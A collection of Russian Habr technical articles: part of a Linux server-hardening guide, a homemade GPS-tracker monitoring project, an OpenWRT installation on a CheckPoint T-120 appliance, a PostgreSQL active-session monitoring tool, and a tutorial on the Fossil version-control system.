Специалисты из Университета Виргинии [рекомендуют](http://its.virginia.edu/unixsys/sec/) отключить все сервисы, которые вы не используете. Некоторые фоновые процессы установлены на автозагрузку и работают до отключения системы. Для настройки этих программ нужно проверить скрипты инициализации. Запуск сервисов может осуществляться через inetd или xinetd.
Если ваша система настроена через inetd, то в файле /etc/inetd.conf вы сможете отредактировать список фоновых программ «демонов», для отключения загрузки сервиса достаточно поставить в начале строки знак «#», превратив её из исполняемой в комментарий.
Если система использует xinetd, то её конфигурация будет в директории /etc/xinetd.d. Каждый файл директории определяет сервис, который можно отключить, указав пункт disable = yes, как в этом примере:
```
service finger
{
socket_type = stream
wait = no
user = nobody
server = /usr/sbin/in.fingerd
disable = yes
}
```
Также стоит проверить постоянные процессы, которые не управляются inetd или xinetd. Настроить скрипты запуска можно в директориях /etc/init.d или /etc/inittab. После проделанных изменений запустите команду под root-аккаунтом.
```
/etc/rc.d/init.d/inet restart
```
### 9. Защитить сервер физически
Невозможно полностью защититься от атак злоумышленника с физическим доступом к серверу. Поэтому необходимо обезопасить помещение, где расположена ваша система. Дата-центры серьёзно следят за безопасностью, ограничивают доступ к серверам, устанавливают камеры слежения и назначают постоянную охрану.
Для входа в дата-центр все посетители должны проходить определенные этапы аутентификации. Также настоятельно рекомендуется использовать датчики движения во всех помещениях центра.
### 10. Защитить сервер от неавторизованного доступа
Система неавторизованного доступа или IDS собирает данные о конфигурации системы и файлах и в дальнейшем сравнивает эти данные с новыми изменениями, чтобы определить, вредны ли они для системы.
Например, инструменты Tripwire и Aide собирают базу данных о системных файлах и защищают их с помощью набора ключей. Psad используется для отслеживания подозрительной активности с помощью отчётов firewall.
Bro создан для мониторинга сети, отслеживания подозрительных схем действия, сбора статистики, выполнения системных команд и генерация оповещений. RKHunter можно использовать для защиты от вирусов, чаще всего руткитов. Эта утилита проверяет вашу систему по базе известных уязвимостей и может определять небезопасные настройки в приложениях.
### Заключение
Перечисленные выше инструменты и настройки помогут вам частично защитить систему, но безопасность зависит от вашего поведения и понимания ситуации. Без внимательности, осторожности и постоянного самообучения все защитные меры могут не сработать.
*О чем еще мы пишем:
* [Мифы об облачных технологиях. Часть 1](https://1cloud.ru/news/myths-about-cloud-providers-part1)
* [Мифы об облачных технологиях. Часть 2](https://1cloud.ru/news/myths-about-cloud-providers-part2)
* [Как создать провайдера виртуальной инфраструктуры](https://1cloud.ru/news/how-to-create-iaas-provider)
* [Как выбрать направление для развития ИТ-проекта](https://1cloud.ru/news/it-project-area-choice)
* [Что нужно знать об IaaS-провайдере до начала работы](https://1cloud.ru/news/21-question-to-iaas-provider)* | https://habr.com/ru/post/309696/ | null | ru | null |
# Онлайн-мониторинг транспорта своими руками
[](http://smotra.ru/gps/ "Посмотреть в работе")
Всегда нравилась идея онлайн-мониторинга чего-либо на карте. И вот представилась возможность сделать нечто подобное.
Процессом и результатом разработки хочу поделиться с сообществом.
##### Небольшая предыстория
Дело в том, что ребята с нашего проекта собрались в автопробег по крупным городам России, в связи с этим мне в голову пришла идея: было бы здорово, если бы на сайте всегда можно было посмотреть текущее местоположение экспедиции.
Начались поиски по этой теме, анализ существующих решений.
Пришел к следующей схеме: необходимо устройство, которое будет через определенный промежуток времени отсылать информацию о текущем местоположении через GPRS куда-то в интернет, а в дальнейшем у нас на сайте будет показываться на карте линия (трек) из всех точек.
##### Выбор устройства
Начался поиск подходящих устройств. Ассортимент довольно широкий: начиная маленькими персональными трекерами и заканчивая устройствами, которые устанавливаются непосредственно внутрь автомобиля. В основном все устройства китайские, но встречались даже иногда и отечественные :)
В конечном итоге остановился на модели **Astron GT-102**: компактный, самый дешевый, обладает всеми необходимыми функциями.
 
Скажу несколько слов о покупке. Нашел сайт, где продавалась данная модель за 3999 рублей, сразу позвонил и попытался заказать.
Однако тут меня ждала неприятность: продавец сказал, что в наличии их нет, а текущая партия ждет растаможки на границе.
В итоге я целую неделю прождал, названивая каждый день, ожидая этой самой растаможки.
Тем временем нашел такую же модель на известном многим сайте [DealExtreme](http://www.dealextreme.com/details.dx/sku.33331), причем по цене $79.96 (~2400 рублей). Хотел было заказать, но рисковать не хотелось, т.к. сроки поджимали, а посылка может идти неделю, а может идти и полтора месяца (был опыт заказа в этом магазине).
Комплектация и упаковка товара в китайском интернет-магазине и от наших ~~барыг~~ предпринимателей полностью совпадали :)
Кстати, немного о комплектации. Она удивила приятными вкусняшками: второй аккумулятор, дополнительная задняя крышка (с магнитами, для крепления к кузову), защитный чехольчик. Единственное, чего не хватало — это автомобильной зарядки.
Итак, устройство лежит на столе, куплена новая сим-карта со специальным «интернетным» тарифным планом.
##### Настройка трекера
В комплекте шла небольшая книжечка с инструкциями (даже на русском). Трекер, несмотря на наличие USB, конфигурируется с помощью SMS.
Алгоритм прост: отправляем с телефона сообщение с командой и паролем и получаем в ответ результат выполнения. Причем в ответ можно получить только собщение вида `<команда> ok`, `<команда> error` или не получить вообще ничего (что вовсе не означает, что команда не применилась).
Трекер имеет два режима информирования: либо отправляет информацию через SMS на доверенные номера, либо отправляет через GPRS. Причем изначально трекер отправляет данные по звонку на симку, которая в него вставлена, но есть еще и возможность автоматической отсылки данных через заданный промежуток времени.
В итоге были вбиты настройки для доступа в интернет через GPRS (apn, user, pass), адрес и порт нашего сервера.
Но как же понять, что это загадочное устройство отправляет и в каком формате?
#### Получение информации
Когда я затевал эту идею, я долго искал какие-либо сервера для этих устройств, которые принимают сигналы с трекеров и каким-нибудь образом их отображают.
Ничего найдено не было. Нет, есть конечно одна служба, которая бесплатно предоставляет систему веб-мониторинга транспортных средств, и в нее можно добавить свой трекер, предварительно настроив его на их сервер, но этот вариант мне не подходил.
Конечно в крайнем случае можно было бы написать какой-нибудь парсер страничек этого сервиса, который сохранял бы всю информацию в нашу БД… Но все-таки хотелось попытаться поднять свой сервер.
Открыл порт, который указал в настройках, на сервере, начал слушать. После долгой настройки трекера удалось-таки заставить его слать пакеты на наш сервер.
Как я и подозревал, трекер слал информацию ввиде plain text'а.
Пример пакета-пинга (отправляется трекером каждые 20 секунд):
`##,imei:572776984948029,A;`
Вообще, IMEI содержится в каждом пакете от трекера, так что очень удобно фильтровать подключения: нет IMEI — дисконнект.
Позвонив на трекер, я спровоцировал отправку следующей информации:
`imei:572776984948029,tracker,1007180132,+7926*******,F,173215.000,A,5453.2762,N,05850.6135,E,51.16,;`
Интересная строка, неправда ли? Но что в ней записано и в каком виде?
Устройство отправляло информацию на сервер, что уже радовало :)
Далее пошел процесс понимания, что же в этой строке содержится и в каком формате.
Естественно в прилагаемой инструкции ни слова об этом не было.
Нашлась какая-то инструкция для китайского TK-102 (у нашего устройства есть много синонимов :), в которой была интересующая меня информация.
Судя по всему, здесь задействована какая-то аббревиатура GPRMC. Гугл помог мне найти информацию, [что же это такое](http://www.codepedia.com/wiki/printer.aspx?WikiID=1&p=The+GPRMC+Sentence).
В итоге появилась функция парсинга строки, которая вытаскивает координаты, время и скорость (кстати не сразу понял, что она указывается в узлах).
Пример разобранной строки:
`raw: imei:572776984948029,tracker,1007180132,+7926*******,F,173215.000,A,5453.2762,N,05850.6135,E,51.16,;
gps date raw: 17:32:15.0
gps unix date: 17.07.2010 17:32
degree: 54°53.2762'N 058°50.6135'E
decimal: 54.887937 58.843558
speed: 94.74832`
Сервер оброс фильтрацией подключений (по IMEI), логированием сообщений от трекера, отбрасыванием лишних точек и кое-чем еще, но главное удалось достичь цели: трекер отправлял координаты каждые 20 секунд и они сохранялись на наш сервер.
##### Отображение информации
Самая трудная часть пройдена, осталось показать маршрут пользователям.
Отображать точки и соединять их в линии было поручено Яндекс.Картам. Их API хорошо документирован, так что не буду приводить какой-либо код или комментарии, лучше покажу скриншотик (кликабелен).
[](http://smotra.ru/gps/ "Посмотреть в работе")
Последние 50 точек на карте выделены треугольничками, которые показывают направление движения, а по клику информацию о скорости в этой точке и времени фиксации.
[](http://smotra.ru/gps/ "Посмотреть в работе")
##### Недостатки
У полученной системы все-таки есть недостатки, на мой взгляд исключительно аппаратные: трекер после перезагрузки (смены батарейки) «забывает», что ему необходимо слать информацию на сервер каждые N секунд, иногда странно зависает (невозможно выключить, не вынимая батарейки).
Наверное сказывается то, что это самый дешевый трекер из тех, которые я нашел в продаже в Москве.
##### О чем забыл упомянуть
— данный трекер еще имеет функцию мониторинга: можно позвонить на него и слышать, что происходит вокруг устройства;
— заряда одной батареи хватает примерно часов на 20;
— в процессе использования потребляет очень мало траффика;
— в процессе поиска примеров реализации отображения треков на карте нашел чуть ли не единственную [статью](http://gis-lab.info/qa/google-web-points.html), в которой довольно подробно рассматривается задача на примере Google Maps;
— система вышла весьма бюджетной: 4000 рублей за устройство + 300-400 за новую сим-карту с нужным тарифом; | https://habr.com/ru/post/99508/ | null | ru | null |
# Установка OpenWRT на CheckPoint T-120 (4200 appliance)
CheckPoint T-120 (4200 appliance)В очередной раз просматривая объявления о продаже компьютерной техники и всяческой электроники наткнулся на интересного зверя - корпоративный файрвол CheckPoint T-120. Быстренько погуглив, нашел технические характеристики этого устройства. Вот они:
* Intel Atom D525 1.80GHz Dual-Core;
* оперативная память 4 GB (DDR2);
* 4 x 10/100/1000Base-T RJ45 ports;
* 250 гигабайт жесткий диск (SATA).
Очень даже неплохо, особенно учитывая то, что эта покупка обошлась мне в 4000 тенге, сейчас это чуть меньше $10. Заинтересовала эта железка тем, что внутри почти полноценный компьютер на базе процессора с пассивным охлаждением, крепкий блок питания, памяти достаточно. Единственное, там нет выхода на монитор/клавиатуру. Но есть консольный порт (RS232, разъем правда RJ45). Еще один аргумент к покупке - это то, что на него смогли установить [pfSense](https://paulscobie.files.wordpress.com/2017/03/how-to-install-pfsense-on-a-checkpoint-firewall.pdf). В этом случае теоретически можно и другой роутерный софт установить. Душа у меня лежит к [OpenWRT](https://openwrt.org/start). Его и будем ставить.
**Консольный Кабель**. Теперь вопрос с контролем процесса установки и вообще "Главный вопрос жизни, вселенной и всего такого". Фирменного кабеля - нет, Гугл подсказывает что можно использовать кабель Cisco, которого у меня тоже нет, купить - это совсем плохая идея, стоит как чугунный мост, с АлиЭкспресса - ждать долго. Выход один - паять! Достаем ЭПСН-25 и... Идем в гараж/кладовую/склад и берем оттуда кабель для подключения телефона Ericsson к компьютеру через RS232 и патч-корд RJ45. Фирменный кабель содержит 8 проводов, а в кабеле для телефона всего 5, отсутствуют провода CTS/DCD/DSR. Внизу распиновка фирменного кабеля.
Фирменный кабель Cisco.
За всю свою сознательную жизнь на практике я не встретил консольного кабеля, который использует больше, чем RXD/TXD/GND. Была не была, собираем простой кабель по следующей схеме.
Кабель спаяли.
И подключаем его через переходник USB to RS232 к компьютеру.
**Проверка работы кабеля.** Подключаем все это хозяйство к компьютеру, настраиваем параметры порта: Baud rate = 9600 bps, Data bits = 8, Parity = None, Stop bits = 1, Flow Control = None. Включаем роутер и видим в терминале процесс начальной инициализации (BIOS) и загрузки этого убер девайса.
**Установка OpenWRT**. Теперь мы будем ставить на этот роутер OpenWRT. Ну как ставить ? Его прошивают либо в флеш-память роутера, либо на жесткий диск или на карту памяти.
Для этого нужно скачать сборку OpenWRT под процессор x86, тип сборки Combined-Ext4. Такая сборка необходима для того, чтобы потом изменить размер разделов на карте памяти/жестком диске.
В кладовых у меня есть пару видов переходников SD Card to SATA, CF Card to SATA. Почему то, SD Card to SATA не всегда определяется BIOS-ом как диск. Используем CompactFlash.
Используем переходник для установки 2.5" жестких дисков вместо 3.5". Немного винтиков и болтиков М3 и получаем такую конструкцию.
Установка OpenWRT на карту памяти. Хорошее руководство можно найти [здесь](https://openwrt.org/docs/guide-user/installation/openwrt_x86). У нас 64-х битный процессор, и как я упоминал выше, нужна сборка [Combined-Ext4](https://downloads.openwrt.org/releases/21.02.3/targets/x86/64/openwrt-21.02.3-x86-64-generic-ext4-combined.img.gz), вот ссылка на текущий стабильные [билды](https://firmware-selector.openwrt.org/?version=21.02.3&target=x86%2F64&id=generic).
Скачиваем образ, распаковываем архив и записываем на карту памяти файл \*.img. В Линуксе - это можно сделать примерно [так](https://openwrt.org/docs/guide-user/installation/openwrt_x86#linux):
```
# Unpack image
gunzip openwrt-*.img.gz
# Identify disk (to replace sdX in the following command below)
lsblk
# Write image
dd if=openwrt-21.02.0-x86-64-generic-ext4-combined.img bs=1M of=/dev/sdX
```
Далее мы вставляем карту памяти CompactFlash в переходник, устанавливаем в роутер и собираем все.
Через сетевой порт Lan1 подключаем к компьютеру или сети, Console - через самодельный кабель к компьютеру. Если после включения питания через некоторое время в окне терминала побежит вывод загрузки системы, значит Вы все сделали верно и все работает как нужно. Да, кстати, нужно сменить скорость терминала на порту на 115200, все остальные параметры без изменений.
**Первоначальная настройка OpenWRT**. Подключаемся к веб-интерфейсу OpenWRT. IP/mask по умолчанию 192.168.1.1/24, пароль - по умолчанию пустой. Рекомендую сразу поменять пароль администратора. Затем необходимо донастроить сетевой интерфейс - гейт по умолчанию и DNS сервера. Иначе Вы не сможете установить нужные пакеты для изменения разделов.
Теперь мы можем изменить разделы установленного OpenWRT. По [умолчанию](https://openwrt.org/docs/guide-user/installation/openwrt_x86#partition_layout) размеры следующие:
```
/dev/sda1 is a 16MB ext4 /boot partition where GRUB and the kernel are stored.
/dev/sda2 is a 104MB partition containing the squashfs root filesystem and a read-write f2fs filesystem OR the ext4 root filesystem (depending on what image you have chosen).
```
Подключаемся через SSH. Процесс изменения разделов очень хорошо описан в [руководстве](https://openwrt.org/docs/guide-user/installation/openwrt_x86#resizing_partitions). Сначала необходимо изменить размер Partition, затем размеры в файловой системе.
Изменение разделов/размеров.
1. Установить fdisk.
2. Запустить fdisk и посмотреть разделы.
3. Записать номер начального сектора /dev/sda2.
4. Удалить раздел /dev/sda2, но не записывать изменения на диск!!!
5. Создать раздел /dev/sda2, при этом нужно указать начальный сектор, который Вы записали на шаге 3. Последний сектор - по умолчанию (до конца раздела).
6. Записать изменения на диск.
Hidden text
```
Welcome to fdisk (util-linux 2.32).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Command (m for help): p
Disk /dev/sda: 7.2 GiB, 7751073792 bytes, 15138816 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xcbad8a62
Device Boot Start End Sectors Size Id Type
/dev/sda1 * 512 33279 32768 16M 83 Linux
/dev/sda2 33792 246783 212992 104M 83 Linux
Command (m for help): d
Partition number (1,2, default 2):
Partition 2 has been deleted.
Command (m for help): n
Partition type
p primary (1 primary, 0 extended, 3 free)
e extended (container for logical partitions)
Select (default p):
Partition number (2-4, default 2):
First sector (33280-15138815, default 34816): 33792
Last sector, +sectors or +size{K,M,G,T,P} (33792-15138815, default 15138815):
Created a new partition 2 of type 'Linux' and of size 7.2 GiB.
Partition #2 contains a ext4 signature.
Do you want to remove the signature? [Y]es/[N]o: n
Command (m for help): w
The partition table has been altered.
Syncing disks.
```
Пример изменения размеров разделов.
Hidden text
```
opkg update
opkg install fdisk
BOOT="$(sed -n -e "/\s\/boot\s.*$/{s///p;q}" /etc/mtab)"
DISK="${BOOT%%[0-9]*}"
PART="$((${BOOT##*[^0-9]}+1))"
ROOT="${DISK}${PART}"
OFFS="$(fdisk ${DISK} -l -o device,start | sed -n -e "\|^${ROOT}\s*|s///p")"
echo -e "p\nd\n${PART}\nn\np\n${PART}\n${OFFS}\n\nn\np\nw" | fdisk ${DISK}
```
Скрипт для изменения размеров разделов автоматически.
Следующим шагом будет изменение [размеров диска](https://openwrt.org/docs/guide-user/installation/openwrt_x86#resizing_ext4_rootfs) - в руководстве приведен хороший скрипт для выполнения всех действий автоматически.
```
opkg update
opkg install losetup resize2fs
BOOT="$(sed -n -e "/\s\/boot\s.*$/{s///p;q}" /etc/mtab)"
DISK="${BOOT%%[0-9]*}"
PART="$((${BOOT##*[^0-9]}+1))"
ROOT="${DISK}${PART}"
LOOP="$(losetup -f)"
losetup ${LOOP} ${ROOT}
fsck.ext4 -y ${LOOP}
resize2fs ${LOOP}
reboot
```
Заключительным шагом - будет перезагрузка роутера. Пусть все хорошо утрясется...
OpenWRT установлен ! Далее можно делать из этого роутера - МегаУберРоутер. У меня на другом роутере, но на базе Intel D410 и 4 гигабайтах ОЗУ - крутится AdGuard и очень даже неплохо убирает рекламу и прочее. При этом загрузка системы в среднем еле превышает 5%.
P.S. чуть в обморок не упал, когда увидел, сколько стоил CheckPoint T-120 в свое время... | https://habr.com/ru/post/683088/ | null | ru | null |
# Мониторим активные сессии PostgreSQL 10, как в Oracle
Данный инструмент написан из спортивного интереса, когда мною было обнаружено, что вьюха pg\_stat\_activity в PostgreSQL 10 имеет поля wait\_event\_type и wait\_event, очень похожие по сути на оракловые wait\_class и event из v$session.
Активно работая в данный момент с программой ASH-Viewer от [akardapolov](https://habr.com/users/akardapolov/) мне стало любопытно — насколько сложно переписать этот продукт под Postgres. Учитывая, что я не профессиональный разработчик, было не просто, но очень интересно. По ходу дела даже нашёл, как мне кажется, пару значительных багов, которые проявляются и в оригинальной программе для Oracle, по кр.мере для Standard Edition.
#### Принципы работы PASH-Viewer:
Не нужны никакие расширения. Берём данные исключительно из встроенной вьюхи pg\_stat\_activity.
Раз в секунду делается запрос активных сессий:
**текст запроса к pg\_stat\_activity**
```
SELECT current_timestamp, datname, pid, usesysid, usename, application_name,
backend_type, coalesce(client_hostname, client_addr::text, 'localhost') as client_hostname,
wait_event_type, wait_event, query, query_start,
1000 * EXTRACT(EPOCH FROM (clock_timestamp()-query_start)) as duration
from pg_stat_activity
where state='active'
and pid != pg_backend_pid();
```
Раз в 15 секунд данные за последние 15 снимков усредняются и выводятся на график.
SQL id, который нужен для группировки запросов в разделе Top SQL, я генерирую сам, он не имеет никакого отношения к queryid из pg\_stat\_statements. Я думал, как использовать queryid, но к сожалению не нашёл способа сопоставить запросы из этих двух представлений. Было бы здорово, если бы разработчики добавили поле queryid в pg\_stat\_activity.
SQL id = первые 13 символов от md5 (нормализованный текст запроса).
Нормализованный текст запроса — это запрос, в котором удалены символы новых строк и лишние пробелы, а литералы заменены на $1, $2 и т.д… Написать хорошую функцию нормализации запроса для меня было сложно. Я написал плохую. Текст привожу, но вы его пожалуйста не смотрите, а то мне стыдно. Лучше пришлите хорошую.
**NormalizeSQL**
```
public static String NormalizeSQL(String sql) {
sql = sql.replaceAll("\\n", " ");
sql = sql.replaceAll("\\(", " ( ");
sql = sql.replaceAll("\\)", " ) ");
sql = sql.replaceAll(",", " , ");
sql = sql.replaceAll("'", " ' ");
sql = sql.replaceAll("=", " = ");
sql = sql.replaceAll("<", " < ");
sql = sql.replaceAll(">", " > ");
sql = sql.replaceAll(";", "");
sql = sql.replaceAll("[ ]+", " ");
sql = sql.replaceAll("> =", ">=");
sql = sql.replaceAll("< =", "<=");
sql = sql.toLowerCase().trim();
String[] array = sql.split(" ", -1);
int var_number = 0;
String normalized_sql = "";
Boolean quote_flag = false;
for (int i = 0; i < array.length; i++) {
if (array[i].equals("'")) {
if (!quote_flag) {
quote_flag = true;
var_number++;
normalized_sql += "$" + var_number + " ";
} else {
quote_flag = false;
}
} else if (quote_flag) {
continue;
} else if (array[i].matches("-?\\d+(\\.\\d+)?")) {
var_number++;
normalized_sql += "$" + var_number + " ";
} else if (array[i].equals("order")) {
for (int j = i; j < array.length; j++) {
normalized_sql += array[j] + " ";
}
return normalized_sql.trim();
} else {
normalized_sql += array[i] + " ";
}
}
return normalized_sql.trim();
}
```
С планом выполнения запроса было сложно. Это к Oracle ты приходишь и говоришь «Дай мне план для sqlid=...», и он тебе отвечает — «Тебе самый последний, или за вчера, или показать все за последний месяц со статистикой выполнения по каждому?». А PostgreSQL тебе отвечает — «А что такое sqlid?».
Поэтому для запросов вида SELEСT/UPDATE/INSERT/DELETE посылаем в БД команду EXPLAIN и сохраняем результат локально. Делаем это не чаще 1 раза в час. В процессе отладки обнаружилось, что EXPLAIN висит на блокировке так же, как висел бы сам запрос, для которого мы хотим узнать план. Поэтому пришлось добавить setQueryTimeout(1).
И работает это только в том случае, если запрос выполнялся в той же БД, к который вы подключились (указывается при настройке соединения). И только если вы подключились к БД под суперюзером (postgres), чего некоторые, возможно, побоятся. Поэтому можно создать специального пользователя для мониторинга. Будет работать всё, кроме отображения планов.
```
CREATE USER pgmonuser WITH password 'pgmonuser';
GRANT pg_monitor TO pgmonuser;
```
Скачать с GitHub: <https://github.com/dbacvetkov/PASH-Viewer/releases>
**UPD:**
В версии 0.3 добавил поддержку PostgreSQL 9.6 (там всего два класса ожиданий — Lock и LWLock, всё остальное идёт как «CPU») и PostgreSQL 9.4 — 9.5 (там вообще либо CPU либо ожидание Lock).
В версии 0.3.1 добавил поле Backend Type в Top Sessions и избавился от белых полос на графике.
В версии 0.3.2 улучшил работу с планами, добавил некоторую статистику по запросам (AVG Duration, Calls Count) и возможность просматривать исторические данные:
[How-to-create-pg\_stat\_activity-historical-table](https://github.com/dbacvetkov/PASH-Viewer/wiki/How-to-create-pg_stat_activity-historical-table).
Спасибы и приветы:
Александру Кардаполову за ASH-Viewer.
Антону Глушакову за консультацию и тестирование.
Дмитрию Рудопысову за то, что объяснил, как компилировать и запускать скачанный с github проект.
#### Ещё слайды:
 | https://habr.com/ru/post/413411/ | null | ru | null |
# Системы контроля версий: Fossil, часть I
Приветствую вас, коллеги! 
Относительно недавно здесь [публиковался](http://habrahabr.ru/post/233935/) опрос по используемым системам контроля версий. Как и ожидалось, с большим отрывом победил Git, а Fossil даже не был включен в список, только в комментариях пару раз промелькнул. Поиск по Хабру показал, что здесь о Fossil практически ничего не писали. Поэтому я и решил опубликовать эту статью — тем более, что русскоязычная информация о Fossil крайне скудна и однообразна.
За годы участия в open source разработках мне довелось пользоваться CVS, Subversion и Git, но для личных и связанных с работой проектов системы контроля версий не использовал, пока по случайной ссылке не познакомился с Fossil. Сразу зацепило то, что надо всего лишь скачать и скопировать в подходящее место один — единственный исполняемый файл. Если это так просто, почему бы не попробовать? Понравилось также, что весь репозиторий — это тоже один файл (SQLite база данных), который можно просто скопировать, чтобы забрать домой или установить на другой компьютер на работе. Мне вообще по душе минималистский подход — может, именно поэтому рука не подымалась ставить для коллектива из 3-4 человек или для личного использования что-то типа Subversion.
Как оказалось, Fossil — вполне «взрослая» система, не уступающая по основным функциональным возможностям своим более известным конкурентам. В качестве солидного бонуса мы имеем здесь web-интерфейс, систему отслеживания ошибок (Bug Tracking) и Wiki, причем уведомления об ошибках и wiki-страницы находятся в том же репозитории, где и файлы проекта и тоже находятся под управлением системы контроля версий, т.е. их изменения также отслеживаются. В процессе эксплуатации и по мере изучения документации выявились еще мелкие, но приятные «вкусности», которые добавили убежденности в правильности сделанного выбора. Сразу хочу подчеркнуть: правильности для меня. У всех разные требования, разные привычки, кому-то больше подойдет что-то другое. Для меня Fossil — вполне подходящее, если не сказать больше, решение.
**Установка Fossil**
Итак, заходим на <http://www.fossil-scm.org/download.html> и скачиваем пакет, соответствующий нашей операционной системе. Распаковываем находящийся там исполняемый файл куда-нибудь, откуда потом его будет удобнее запустить, желательно — в каталог, доступный по SET PATH. Все, система готова к работе.
**Создание и настройка репозитория**
Дальше, для определенности, мы будем исходить из предположения, что у нас стоит Windows. Также, для определенности, будем считать, что все наши репозитории будут храниться в отдельном каталоге c:\fossil, хотя, конечно, можно и не выделять для них какого-то отдельного места, а размещать непосредственно рядом с файлами, которые мы отдаем под управление Fossil. Далее, предположим, что у нас есть проект Castle, исходники которого, находящиеся в c:\projects\castle\source\, мы хотим поставить под контроль Fossil — мы будем называть их рабочими файлами, а каталог source — рабочим каталогом. И создаем, наконец, для этих исходников пустой репозиторий castle.fossil:
```
fossil new c:\fossil\castle.fossil
```
Fossil создаст файл castle.fossil и сообщит нам имя администратора ( обычно это имя пользователя, под которым вы вошли в ОС ) и пароль. Fossil вообще довольно «разговорчив» и его сообщения надо читать, там может содержаться важная информация. Как вы уже поняли, все это происходит в консоли, так что для использования Fossil желательно иметь навыки работы с командной строкой, а так же быть знакомым с английским языком — может, я плохо искал, но никаких упоминаний об интернационализации не нашел.
Следующий шаг — переходим в каталог c:\projects\castle и открываем созданный репозиторий:
```
c:
cd \projects\castle
fossil open c:\fossil\castle.fossil
```
Большинство операций Fossil производятся над открытым репозиторием, поэтому это следует сделать сразу после создания. А вот закрывать его (*fossil close*) вряд ли имеет смысл — разве что после завершения проекта. Команда открытия *fossil open* создает в текущем каталоге служебный файл базы данных, его имя может зависеть от версии Fossil и от ОС — под Windows это \_FOSSIL\_. В этом файле хранится информация об открытом репозитории и отслеживаются изменения в файлах. Обратите внимание, что перед тем, как открыть репозиторий, я перешел в каталог, родительский по отношению к рабочему. Это важно: репозиторий должен быть открыт или в рабочем каталоге, или в одном из родительских ( на любом уровне дерева ), иначе Fossil откажется добавлять файлы из рабочего каталога в репозиторий.
Вообще-то *fossil open* не только создает служебный файл, но и проверяет соответствие между файлами в рабочем каталоге и в репозитории, и если какой-либо файл из репозитория отсутствует в рабочем каталоге, или отличается от него, то перезаписывает файл в рабочий каталог из репозитория ( после предупреждения all/yes/no ). Но поскольку наш репозиторий пока пуст, ничего такого не происходит.
Перед тем, как добавить файлы в репозиторий, я бы посоветовал кое-что предварительно настроить. Это можно сделать двумя способами.
1) Из консоли при помощи команды *fossil settings*:
```
fossil settings crnl-glob '*'
fossil settings encoding-glob '*'
```
Установка *crnl-glob* в '\*' (любое) отключает проверку символов конца строки, *encoding-glob* — проверку кодировки ваших файлов. Если это не сделать, а в ваших файлах используется стандартная для Windows последовательность CRNL или кодировка, отличная от UTF-8, то Fossil выдаст предупреждение и будет требовать подтверждения при операции *commit*. Кроме того, желательно указать список масок файлов, которые могут присутствовать в вашем рабочем каталоге, но не должны быть включены в репозиторий — объектные модули, исполняемые файлы и пр., например:
```
fossil settings ignore-glob '*.o,*.obj,*.exe,*.bak,*.log'
```
Можно добавить в команду *fossil settings* опцию *--global* — в этом случае данный параметр будет установлен глобально, для всех репозиториев на этом компьютере. Кстати, если устанавливаемое значение не указано, то команда *fossil settings* вернет в ответ текущее значение параметра, а если и имя параметра не указывать, то мы получим список всех предустановленных параметров и их значения.
2) Второй способ установки параметров — с помощью графического интерфейса:
```
fossil ui
```
В результате исполнения этой команды будет запущен встроенный в Fossil web-сервер, в данном случае локальный, ( порт по умолчанию — 8080, можно указать другой опцией --port ) и броузер — на URL 127.0.0.1:8080. Для установки параметров откроем пункт меню admin, потом settings и меняем там crnl-glob, encoding-glob и ignore-glob. Заодно можно зайти в admin / configuration — установить название проекта и в admin / users — поменять свой пароль.
Ну и, наконец, добавляем файлы командой *add* и отправляем в репозиторий командой *commit*:
```
fossil add source
fossil commit -m "Initial commit"
```
*Add* может добавлять как отдельные файлы, так и каталоги, можно использовать и маску файлов. Команда
```
fossil add .
```
добавляет все файлы из текущего каталога и подкаталоги.
Теперь, когда репозиторий открыт и файлы в него добавлены, т.е., поставлены под управление Fossil, можно, собственно, продолжить работу над проектом. Пишем программы, статьи, книги, при каждом важном изменении отправляем его в репозиторий — делаем *commit*, сопровождая его осмысленным комментарием:
```
fossil commit -m "Another brick in the wall"
```
**Вот еще несколько команд для удаления/перемещения/добавления файлов:**
```
fossil rm source\wall\brick.c
```
Удаляем brick.c из репозитория. При этом все предыдущие версии этого файла в репозитории остаются, он просто помечается как удаленный и его дальнейшие изменения в репозитории не фиксируются. Из рабочего каталога этот файл не удаляется — если необходимо, мы должны это сделать сами.
```
fossil mv source\bridge\item* source\wall\
```
Перемещаем файлы с маской item\* из одного каталога в другой. Учтите, что Fossil сам не перемещает файлы в рабочем каталоге, нам надо сделать это руками.
```
fossil addremove
```
Добавляем в репозиторий файлы из рабочего каталога, отсутствующие в репозитории ( т.е., список которых выдает команда *fossil extras* ) и удаляем из репозитория файлы, предварительно удаленные из рабочего каталога.
**И несколько команд, предоставляющих информацию о репозитории и отдельных файлах:**
```
fossil ls source\wall
```
Выводим список файлов из каталога source\wall, находящихся в репозитории, параметр *-v* добавляет колонку с состоянием файла (EDITED, UNCHANGED), параметр *--age* — время последнего *commit* для каждого файла.
```
fossil status
```
Смотрим текущее состояние репозитория.
```
fossil changes
```
Выводим список файлов, измененных со времени последнего *commit*.
```
fossil extras
```
Выводим список «лишних» файлов — тех, что присутствуют в рабочем каталоге, но не включены в репозиторий.
**Команды для работы с версиями файлов — просмотр изменений, возврат**
```
fossil timeline
fossil timeline after 2014-09-01
fossil timeline before 2014-07-15
```
Выводим историю изменений репозитория, параметр *-v* добавляет в вывод список файлов, затронутых каждым изменением. С помощью *-t* можно указать, какого рода изменения следует выводить: *-t ci* — в файлах, *-t e* — в событиях, *-t t* — в tickets, *-t w* — в wiki.
```
fossil finfo source\wall\brick.c
```
По умолчанию — выводим историю изменений файла brick.c. Если задан параметр *-s* — то краткую информацию о файле, если *-p* — выводится содержимое файла, а если вдобавок к *-p* задан еще и идентификатор версии ( *-r VERSION* ), то выводится заданная версия файла.
Идентификатор версии файла — важное понятие, о котором следует рассказать подробнее, он используется во многих командах, где требуется что-то сделать с конкретной ревизией файла или всего репозитория. Существуют следующие способы идентификации версии:
* SHA-1 хэш
* имя метки (tag)
* timestamp — дата и время создания
* выделенные имена: tip, current, next, previous или prev
